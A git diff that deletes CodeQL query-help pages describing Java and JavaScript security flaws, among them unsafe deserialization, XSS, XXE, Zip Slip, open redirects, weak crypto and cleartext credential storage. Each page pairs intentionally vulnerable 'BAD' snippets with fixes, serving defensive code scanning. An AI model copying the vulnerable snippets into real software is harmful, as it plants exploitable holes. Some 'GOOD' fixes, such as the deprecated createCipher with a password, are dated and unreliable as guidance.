b/docs/language/query-help/java/TaintedPermissionsCheck.md deleted file mode 100644 index 4af49ac9856..00000000000 --- a/docs/language/query-help/java/TaintedPermissionsCheck.md +++ /dev/null @@ -1,44 +0,0 @@ -# User-controlled data used in permissions check - -``` -ID: java/tainted-permissions-check -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-807 external/cwe/cwe-290 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-807/TaintedPermissionsCheck.ql) - -Using user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data. - - -## Recommendation -When checking whether a user is authorized for a particular activity, do not use data that is controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values. - -Similarly, do not decide which permission to check for based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for. - - -## Example -This example, using the Apache Shiro security framework, shows two ways to specify the permissions to check. The first way uses a string, `whatDoTheyWantToDo`, to specify the permissions to check. However, this string is built from user input. This can allow an attacker to force a check against a permission that they know they have, rather than the permission that should be checked. For example, while trying to access the account details of another user, the attacker could force the system to check whether they had permissions to access their *own* account details, which is incorrect, and would allow them to perform the action. The second, more secure way uses a fixed check that does not depend on data that is controlled by the user. - - -```java -public static void main(String[] args) { - String whatDoTheyWantToDo = args[0]; - Subject subject = SecurityUtils.getSubject(); - - // BAD: permissions decision made using tainted data - if(subject.isPermitted("domain:sublevel:" + whatDoTheyWantToDo)) - doIt(); - - // GOOD: use fixed checks - if(subject.isPermitted("domain:sublevel:whatTheMethodDoes")) - doIt(); -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [SEC02-J. Do not base security checks on untrusted sources](https://www.securecoding.cert.org/confluence/display/java/SEC02-J.+Do+not+base+security+checks+on+untrusted+sources). -* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). -* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/java/UnreleasedLock.md b/docs/language/query-help/java/UnreleasedLock.md deleted file mode 100644 index 33e2306ba2f..00000000000 --- a/docs/language/query-help/java/UnreleasedLock.md +++ /dev/null @@ -1,42 +0,0 @@ -# Unreleased lock - -``` -ID: java/unreleased-lock -Kind: problem -Severity: error -Precision: medium -Tags: reliability security external/cwe/cwe-764 external/cwe/cwe-833 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Likely%20Bugs/Concurrency/UnreleasedLock.ql) - -When a thread acquires a lock it must make sure to unlock it again; failing to do so can lead to deadlocks. If a lock allows a thread to acquire it multiple times, for example `java.util.concurrent.locks.ReentrantLock`, then the number of locks must match the number of unlocks in order to fully release the lock. - - -## Recommendation -It is recommended practice always to immediately follow a call to `lock` with a `try` block and place the call to `unlock` inside the `finally` block. Beware of calls inside the `finally` block that could cause exceptions, as this may result in skipping the call to `unlock`. - - -## Example -The typical pattern for using locks safely looks like this: - - -```java -public void m() { - lock.lock(); - // A - try { - // ... method body - } finally { - // B - lock.unlock(); - } -} -``` -If any code that can cause a premature method exit (for example by throwing an exception) is inserted at either point `A` or `B` then the method might not unlock, so this should be avoided. - - -## References -* Java API Documentation: [java.util.concurrent.locks.Lock](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/Lock.html), [java.util.concurrent.locks.ReentrantLock](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/ReentrantLock.html). -* Common Weakness Enumeration: [CWE-764](https://cwe.mitre.org/data/definitions/764.html). -* Common Weakness Enumeration: [CWE-833](https://cwe.mitre.org/data/definitions/833.html). \ No newline at end of file diff --git a/docs/language/query-help/java/UnsafeDeserialization.md b/docs/language/query-help/java/UnsafeDeserialization.md deleted file mode 100644 index a9eb0e06c46..00000000000 --- a/docs/language/query-help/java/UnsafeDeserialization.md +++ /dev/null @@ -1,59 +0,0 @@ -# Deserialization of user-controlled data - -``` -ID: java/unsafe-deserialization -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-502 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-502/UnsafeDeserialization.ql) - -Deserializing untrusted data using any deserialization framework that allows the construction of arbitrary serializable objects is easily exploitable and in many cases allows an attacker to execute arbitrary code. Even before a deserialized object is returned to the caller of a deserialization method a lot of code may have been executed, including static initializers, constructors, and finalizers. Automatic deserialization of fields means that an attacker may craft a nested combination of objects on which the executed initialization code may have unforeseen effects, such as the execution of arbitrary code. - -There are many different serialization frameworks. This query currently supports Kryo, XmlDecoder, XStream, SnakeYaml, and Java IO serialization through `ObjectInputStream`/`ObjectOutputStream`. - - -## Recommendation -Avoid deserialization of untrusted data if at all possible. If the architecture permits it then use other formats instead of serialized objects, for example JSON or XML. However, these formats should not be deserialized into complex objects because this provides further opportunities for attack. For example, XML-based deserialization attacks are possible through libraries such as XStream and XmlDecoder. Alternatively, a tightly controlled whitelist can limit the vulnerability of code, but be aware of the existence of so-called Bypass Gadgets, which can circumvent such protection measures. - - -## Example -The following example calls `readObject` directly on an `ObjectInputStream` that is constructed from untrusted data, and is therefore inherently unsafe. - - -```java -public MyObject { - public int field; - MyObject(int field) { - this.field = field; - } -} - -public MyObject deserialize(Socket sock) { - try(ObjectInputStream in = new ObjectInputStream(sock.getInputStream())) { - return (MyObject)in.readObject(); // unsafe - } -} - -``` -Rewriting the communication protocol to only rely on reading primitive types from the input stream removes the vulnerability. - - -```java -public MyObject deserialize(Socket sock) { - try(DataInputStream in = new DataInputStream(sock.getInputStream())) { - return new MyObject(in.readInt()); - } -} - -``` - -## References -* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data). -* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html). -* Talks by Chris Frohoff & Gabriel Lawrence: [ AppSecCali 2015: Marshalling Pickles - how deserializing objects will ruin your day](http://frohoff.github.io/appseccali-marshalling-pickles/), [OWASP SD: Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization](http://frohoff.github.io/owaspsd-deserialize-my-shorts/). -* Alvaro Muñoz & Christian Schneider, RSAConference 2016: [Serial Killer: Silently Pwning Your Java Endpoints](https://www.rsaconference.com/writable/presentations/file_upload/asd-f03-serial-killer-silently-pwning-your-java-endpoints.pdf). -* SnakeYaml documentation on deserialization: [SnakeYaml deserialization](https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-loading-yaml). -* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/java/UrlRedirect.md b/docs/language/query-help/java/UrlRedirect.md deleted file mode 100644 index f623bc024ff..00000000000 --- a/docs/language/query-help/java/UrlRedirect.md +++ /dev/null @@ -1,43 +0,0 @@ -# URL redirection from remote source - -``` -ID: java/unvalidated-url-redirection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-601/UrlRedirect.ql) - -Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. - - -## Recommendation -To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks. It also shows how to remedy the problem by validating the user input against a known fixed string. - - -```java -public class UrlRedirect extends HttpServlet { - private static final String VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html"; - - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - // BAD: a request parameter is incorporated without validation into a URL redirect - response.sendRedirect(request.getParameter("target")); - - // GOOD: the request parameter is validated against a known fixed string - if (VALID_REDIRECT.equals(request.getParameter("target"))) { - response.sendRedirect(VALID_REDIRECT); - } - } -} - -``` - -## References -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/java/XSS.md b/docs/language/query-help/java/XSS.md deleted file mode 100644 index da739ec02c5..00000000000 --- a/docs/language/query-help/java/XSS.md +++ /dev/null @@ -1,39 +0,0 @@ -# Cross-site scripting - -``` -ID: java/xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-079/XSS.ql) - -Directly writing user input (for example, an HTTP request parameter) to a web page, without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the reference. - - -## Example -The following example shows the page parameter being written directly to the server error page, leaving the website vulnerable to cross-site scripting. - - -```java -public class XSS extends HttpServlet { - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - // BAD: a request parameter is written directly to an error response page - response.sendError(HttpServletResponse.SC_NOT_FOUND, - "The page \"" + request.getParameter("page") + "\" was not found."); - } -} - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). \ No newline at end of file diff --git a/docs/language/query-help/java/XXE.md b/docs/language/query-help/java/XXE.md deleted file mode 100644 index d422d230daa..00000000000 --- a/docs/language/query-help/java/XXE.md +++ /dev/null @@ -1,54 +0,0 @@ -# Resolving XML external entity in user-controlled data - -``` -ID: java/xxe -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-611 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-611/XXE.ql) - -Parsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial of service, or server side request forgery. Even when the result of parsing is not returned to the user, out-of-band data retrieval techniques may allow attackers to steal sensitive data. Denial of services can also be carried out in this situation. - -There are many XML parsers for Java, and most of them are vulnerable to XXE because their default settings enable parsing of external entities. This query currently identifies vulnerable XML parsing from the following parsers: `javax.xml.parsers.DocumentBuilder`, `javax.xml.stream.XMLStreamReader`, `org.jdom.input.SAXBuilder`/`org.jdom2.input.SAXBuilder`, `javax.xml.parsers.SAXParser`,`org.dom4j.io.SAXReader`, `org.xml.sax.XMLReader`, `javax.xml.transform.sax.SAXSource`, `javax.xml.transform.TransformerFactory`, `javax.xml.transform.sax.SAXTransformerFactory`, `javax.xml.validation.SchemaFactory`, `javax.xml.bind.Unmarshaller` and `javax.xml.xpath.XPathExpression`. - - -## Recommendation -The best way to prevent XXE attacks is to disable the parsing of any Document Type Declarations (DTDs) in untrusted data. If this is not possible you should disable the parsing of external general entities and external parameter entities. This improves security but the code will still be at risk of denial of service and server side request forgery attacks. Protection against denial of service attacks may also be implemented by setting entity expansion limits, which is done by default in recent JDK and JRE implementations. - - -## Example -The following example calls `parse` on a `DocumentBuilder` that is not safely configured on untrusted data, and is therefore inherently unsafe. - - -```java -public void parse(Socket sock) throws Exception { - DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); - DocumentBuilder builder = factory.newDocumentBuilder(); - builder.parse(sock.getInputStream()); //unsafe -} - -``` -In this example, the `DocumentBuilder` is created with DTD disabled, securing it against XXE attack. - - -```java -public void disableDTDParse(Socket sock) throws Exception { - DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); - factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - DocumentBuilder builder = factory.newDocumentBuilder(); - builder.parse(sock.getInputStream()); //safe -} - -``` - -## References -* OWASP vulnerability description: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing). -* OWASP guidance on parsing xml files: [XXE Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java). -* Paper by Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://www.vsecurity.com//download/publications/XMLDTDEntityAttacks.pdf) -* Out-of-band data retrieval: Timur Yunusov & Alexey Osipov, Black hat EU 2013: [XML Out-Of-Band Data Retrieval](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf). -* Denial of service attack (Billion laughs): [Billion Laughs.](https://en.wikipedia.org/wiki/Billion_laughs) -* The Java Tutorials: [Processing Limit Definitions.](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html) -* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ZipSlip.md b/docs/language/query-help/java/ZipSlip.md deleted file mode 100644 index c60e4c91510..00000000000 --- a/docs/language/query-help/java/ZipSlip.md +++ /dev/null @@ -1,57 +0,0 @@ -# Arbitrary file write during archive extraction ("Zip Slip") - -``` -ID: java/zipslip -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-022/ZipSlip.ql) - -Extracting files from a malicious zip archive (or another archive format) without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. - -Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. - - -## Recommendation -Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. - -The recommended way of writing an output file from a zip archive entry is to verify that the normalized full path of the output file starts with a prefix that matches the destination directory. Path normalization can be done with either `java.io.File.getCanonicalFile()` or `java.nio.file.Path.normalize()`. Prefix checking can be done with `String.startsWith(..)`, but it is better to use `java.nio.file.Path.startsWith(..)`, as the latter works on complete path segments. - -Another alternative is to validate archive entries against a whitelist of expected files. - - -## Example -In this example, a file path taken from a zip archive item entry is combined with a destination directory. The result is used as the destination file path without verifying that the result is within the destination directory. If provided with a zip file containing an archive path like `..\sneaky-file`, then this file would be written outside the destination directory. - - -```java -void writeZipEntry(ZipEntry entry, File destinationDir) { - File file = new File(destinationDir, entry.getName()); - FileOutputStream fos = new FileOutputStream(file); // BAD - // ... write entry to fos ... -} - -``` -To fix this vulnerability, we need to verify that the normalized `file` still has `destinationDir` as its prefix, and throw an exception if this is not the case. - - -```java -void writeZipEntry(ZipEntry entry, File destinationDir) { - File file = new File(destinationDir, entry.getName()); - if (!file.toPath().normalize().startsWith(destinationDir.toPath())) - throw new Exception("Bad zip entry"); - FileOutputStream fos = new FileOutputStream(file); // OK - // ... write entry to fos ... -} - -``` - -## References -* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/AllowRunningInsecureContent.md b/docs/language/query-help/javascript/AllowRunningInsecureContent.md deleted file mode 100644 index 478c8422d1e..00000000000 --- a/docs/language/query-help/javascript/AllowRunningInsecureContent.md +++ /dev/null @@ -1,37 +0,0 @@ -# Enabling Electron allowRunningInsecureContent - -``` -ID: js/enabling-electron-insecure-content -Kind: problem -Severity: error -Precision: very-high -Tags: security frameworks/electron - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Electron/AllowRunningInsecureContent.ql) - -Electron is secure by default through a policy banning the execution of content loaded over HTTP. Setting the `allowRunningInsecureContent` property of a `webPreferences` object to `true` will disable this policy. - -Enabling the execution of insecure content is strongly discouraged. - - -## Recommendation -Do not enable the `allowRunningInsecureContent` property. - - -## Example -The following example shows `allowRunningInsecureContent` being enabled. - - -```javascript -const mainWindow = new BrowserWindow({ - webPreferences: { - allowRunningInsecureContent: true - } -}) -``` -This is problematic, since it allows the execution of code from an untrusted origin. - - -## References -* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#8-do-not-set-allowrunninginsecurecontent-to-true) \ No newline at end of file diff --git a/docs/language/query-help/javascript/BadRandomness.md b/docs/language/query-help/javascript/BadRandomness.md deleted file mode 100644 index ede4de2113f..00000000000 --- a/docs/language/query-help/javascript/BadRandomness.md +++ /dev/null @@ -1,66 +0,0 @@ -# Creating biased random numbers from a cryptographically secure source. - -``` -ID: js/biased-cryptographic-random -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-327/BadRandomness.ql) - -Generating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers. - -However, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system. - - -## Recommendation -Be very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers. - -If possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead. - - -## Example -The example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness. - - -```javascript -const crypto = require('crypto'); - -const digits = []; -for (let i = 0; i < 10; i++) { - digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK -} -``` -The random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9. - -The issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values. - - -```javascript -const cryptoRandomString = require('crypto-random-string'); - -const digits = cryptoRandomString({length: 10, type: 'numeric'}); -``` -Alternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9. - - -```javascript -const crypto = require('crypto'); - -const digits = []; -while (digits.length < 10) { - const byte = crypto.randomBytes(1)[0]; - if (byte >= 250) { - continue; - } - digits.push(byte % 10); // OK -} -``` - -## References -* Stack Overflow: [Understanding “randomness”](https://stackoverflow.com/questions/3956478/understanding-randomness). -* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness). -* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/BrokenCryptoAlgorithm.md b/docs/language/query-help/javascript/BrokenCryptoAlgorithm.md deleted file mode 100644 index 7f0b1cf0bb6..00000000000 --- a/docs/language/query-help/javascript/BrokenCryptoAlgorithm.md +++ /dev/null @@ -1,43 +0,0 @@ -# Use of a broken or weak cryptographic algorithm - -``` -ID: js/weak-cryptographic-algorithm -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql) - -Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker. - -Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be. - - -## Recommendation -Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing. - - -## Example -The following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. - - -```javascript -const crypto = require('crypto'); - -var secretText = obj.getSecretText(); - -const desCipher = crypto.createCipher('des', key); -let desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption - -const aesCipher = crypto.createCipher('aes-128', key); -let aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption - -``` - -## References -* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). -* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). -* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/BuildArtifactLeak.md b/docs/language/query-help/javascript/BuildArtifactLeak.md deleted file mode 100644 index 2ca9dc9ae72..00000000000 --- a/docs/language/query-help/javascript/BuildArtifactLeak.md +++ /dev/null @@ -1,57 +0,0 @@ -# Storage of sensitive information in build artifact - -``` -ID: js/build-artifact-leak -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-312/BuildArtifactLeak.ql) - -Sensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published. - - -## Recommendation -Only store information that is meant to be publicly available in a build artifact. - - -## Example -The following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact: - - -```javascript -const webpack = require("webpack"); - -module.exports = [{ - plugins: [ - new webpack.DefinePlugin({ - "process.env": JSON.stringify(process.env) - }) - ] -}]; -``` -The environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public. - -The issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact. - - -```javascript -const webpack = require("webpack"); - -module.exports = [{ - plugins: [ - new webpack.DefinePlugin({ - 'process.env': JSON.stringify({ DEBUG: process.env.DEBUG }) - }) - ] -}]; - -``` - -## References -* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/). -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CleartextLogging.md b/docs/language/query-help/javascript/CleartextLogging.md deleted file mode 100644 index 5d5097e8d76..00000000000 --- a/docs/language/query-help/javascript/CleartextLogging.md +++ /dev/null @@ -1,66 +0,0 @@ -# Clear-text logging of sensitive information - -``` -ID: js/clear-text-logging -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-312/CleartextLogging.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - -Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. - - -## Example -The following example code stores user credentials (in this case, their password) in a cookie in plain text: - - -```javascript -var express = require('express'); - -var app = express(); -app.get('/remember-password', function (req, res) { - let pw = req.param("current_password"); - // BAD: Setting a cookie value with cleartext sensitive data. - res.cookie("password", pw); -}); - -``` -Instead, the credentials should be encrypted, for instance by using the Node.js `crypto` module: - - -```javascript -var express = require('express'); -var crypto = require('crypto'), - password = getPassword(); - -function encrypt(text){ - var cipher = crypto.createCipher('aes-256-ctr', password); - return cipher.update(text, 'utf8', 'hex') + cipher.final('hex'); -} - -var app = express(); -app.get('/remember-password', function (req, res) { - let pw = req.param("current_password"); - // GOOD: Encoding the value before setting it. - res.cookie("password", encrypt(pw)); -}); - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CleartextStorage.md b/docs/language/query-help/javascript/CleartextStorage.md deleted file mode 100644 index 8601e4a98b1..00000000000 --- a/docs/language/query-help/javascript/CleartextStorage.md +++ /dev/null @@ -1,66 +0,0 @@ -# Clear text storage of sensitive information - -``` -ID: js/clear-text-storage-of-sensitive-data -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-312/CleartextStorage.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - -Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. - - -## Example -The following example code stores user credentials (in this case, their password) in a cookie in plain text: - - -```javascript -var express = require('express'); - -var app = express(); -app.get('/remember-password', function (req, res) { - let pw = req.param("current_password"); - // BAD: Setting a cookie value with cleartext sensitive data. - res.cookie("password", pw); -}); - -``` -Instead, the credentials should be encrypted, for instance by using the Node.js `crypto` module: - - -```javascript -var express = require('express'); -var crypto = require('crypto'), - password = getPassword(); - -function encrypt(text){ - var cipher = crypto.createCipher('aes-256-ctr', password); - return cipher.update(text, 'utf8', 'hex') + cipher.final('hex'); -} - -var app = express(); -app.get('/remember-password', function (req, res) { - let pw = req.param("current_password"); - // GOOD: Encoding the value before setting it. - res.cookie("password", encrypt(pw)); -}); - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ClientSideUrlRedirect.md b/docs/language/query-help/javascript/ClientSideUrlRedirect.md deleted file mode 100644 index fc5630abd8c..00000000000 --- a/docs/language/query-help/javascript/ClientSideUrlRedirect.md +++ /dev/null @@ -1,33 +0,0 @@ -# Client-side URL redirect - -``` -ID: js/client-side-unvalidated-url-redirection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-601/ClientSideUrlRedirect.ql) - -Redirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. - - -## Recommendation -To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. - - -## Example -The following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks: - - -```javascript -window.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1]; - -``` - -## References -* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). 